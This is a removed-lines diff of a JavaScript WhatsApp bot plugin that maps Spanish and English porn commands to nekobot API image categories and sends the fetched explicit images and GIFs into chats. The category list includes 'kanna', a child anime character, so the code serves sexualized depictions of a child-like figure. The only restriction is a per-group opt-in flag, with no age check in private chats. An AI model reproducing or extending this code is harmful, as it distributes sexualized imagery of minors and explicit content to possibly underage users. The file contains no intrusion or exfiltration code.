-['hboobs', 'pornotetas3', 'nsfwboobs3'], ['pussy', 'pornopussy', 'nsfwpussy'], ['paizuri', 'pornopaizuri', 'nsfwpaizuri'], ['lewdneko', 'pornoneko', 'nsfwneko'], ['feet', 'pornopies2', 'nsfwfoot2'], //10
-['hyuri', 'pornoyuri3', 'nsfwyuri3'], ['hthigh', 'pornomuslo', 'nsfwhthigh'], ['hmidriff', 'pornochica2', 'nsfwsgirl2'], ['anal', 'pornoanal', 'nsfwanal'], ['blowjob', 'pornomamada', 'nsfwblowjob'], //15
-['gonewild', 'pornogonewild', 'nsfwgonewild'], ['hkitsune', 'pornofurro2', 'nsfwfurry2'], ['tentacle', 'pornotentacle', 'nsfwtentacle'], ['4k', 'porno4k', 'porn4k'], ['kanna', 'pornokanna', 'nsfwkanna'], //20
-['hentai_anal', 'pornoanal2', 'nsfwanal2'], ['food', 'pornoalimento', 'nsfwfood'], ['holo', 'pornoholo', 'nsfwholo'], ['nsfw/anal/gif', 'pornoanal3', 'nsfwanal3'], ['nsfw/blowjob/gif', 'pornomamada2', 'nsfwblowjob2'], //25
-['nsfw/cum/gif', 'pornocum2', 'nsfwcum2'], ['nsfw/fuck/gif', 'pornofuck', 'nsfwfuck'], ['nsfw/neko/gif', 'pornoneko2', 'nsfwneko2'], ['nsfw/pussylick/gif', 'pornopussy2', 'nsfwpussy2'], ['nsfw/solo/gif', 'pornosolo', 'nsfwsolo'], //30
-['nsfw/threesome_fff/gif', 'pornorgia2', 'nsfworgy2'], ['nsfw/threesome_ffm/gif', 'pornorgia3', 'nsfworgy3'], ['yaoi', 'pornoyaoi3', 'nsfwyaoi3'], [global.cosplay, 'pornocosplay', 'nsfwcosplay'], [global.dbz, 'pornodbz', 'nsfwdbz'], //35
-[global.genshin, 'pornogenshin', 'nsfwgenshin'], [global.kimetsu, 'pornokimetsu', 'nsfwkimetsu'], [global.hentai2, 'pornohentai2', 'nsfwhentai2'], [global.nintendo, 'pornonintendo', 'nsfwnintendo'], [global.hololive, 'pornohololive', 'nsfwhololive'], //40
-[global.heroacademy, 'pornoheroacademy', 'nsfwheroacademy'], [global.rezero, 'pornorezero', 'nsfwrezero'], [global.tatsumaki, 'pornotatsumaki', 'nsfwtatsumaki'], [global.naruto, 'pornonaruto', 'nsfwnaruto'], [global.kitagawa, 'pornokitagawa', 'nsfwkitagawa']] //45
-
-let handler = async (m, {command, conn, usedPrefix}) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let frep = { contextInfo: { externalAdReply: {title: wm, body: lenguajeGB.smsCont18PornP2(), sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer() }}}
-let user = global.db.data.users[m.sender]
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `${lenguajeGB['smsContAdult']()}`
-
-try {
-if (command == temaX[0][1] || command == temaX[0][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[0][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno hentai' : 'nsfw hentai'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornohentai' : 'nsfwhentai'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno hentai' : 'nsfw hentai'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornohentai' : 'nsfwhentai'}`]], m, frep)}}
-
-if (command == temaX[1][1] || command == temaX[1][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[1][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass' : 'nsfw ass'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoass' : 'nsfwass'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass' : 'nsfw ass'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoass' : 'nsfwass'}`]], m, frep)}}
-
-if (command == temaX[2][1] || command == temaX[2][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[2][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[3][1] || command == temaX[3][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[3][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica 2' : 'nsfws girl 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[13][1] : temaX[13][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica 2' : 'nsfws girl 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[13][1] : temaX[13][2]}`]], m, frep)}}
-
-if (command == temaX[4][1] || command == temaX[4][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[4][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass 2' : 'nsfw ass 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[1][1] : temaX[1][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass 2' : 'nsfw ass 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[1][2] : temaX[1][2]}`]], m, frep)}}
-
-if (command == temaX[5][1] || command == temaX[5][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[5][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno tetas' : 'nsfw boobs'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornotetas' : 'nsfwboobs'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno tetas' : 'nsfw boobs'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornotetas' : 'nsfwboobs'}`]], m, frep)}}
-
-if (command == temaX[6][1] || command == temaX[6][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[6][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno tetas 2' : 'nsfw boobs 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[5][1] : temaX[5][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno tetas 2' : 'nsfw boobs 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[5][1] : temaX[5][2]}`]], m, frep)}}
-
-if (command == temaX[7][1] || command == temaX[7][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[7][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pussy 2' : 'nsfw pussy 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[29][1] : temaX[29][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pussy 2' : 'nsfw pussy 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[29][1] : temaX[29][2]}`]], m, frep)}}
-
-if (command == temaX[8][1] || command == temaX[8][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[8][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[9][1] || command == temaX[9][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[9][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno neko 2' : 'nsfw neko 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[28][1] : temaX[28][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno neko 2' : 'nsfw neko 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[28][1] : temaX[28][2]}`]], m, frep)}}
-
-if (command == temaX[10][1] || command == temaX[10][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[10][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[11][1] || command == temaX[11][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[11][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yuri' : 'nsfw yuri'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyuri' : 'nsfwyuri'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yuri' : 'nsfw yuri'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyuri' : 'nsfwyuri'}`]], m, frep)}}
-
-if (command == temaX[12][1] || command == temaX[12][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[12][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[13][1] || command == temaX[13][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[13][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
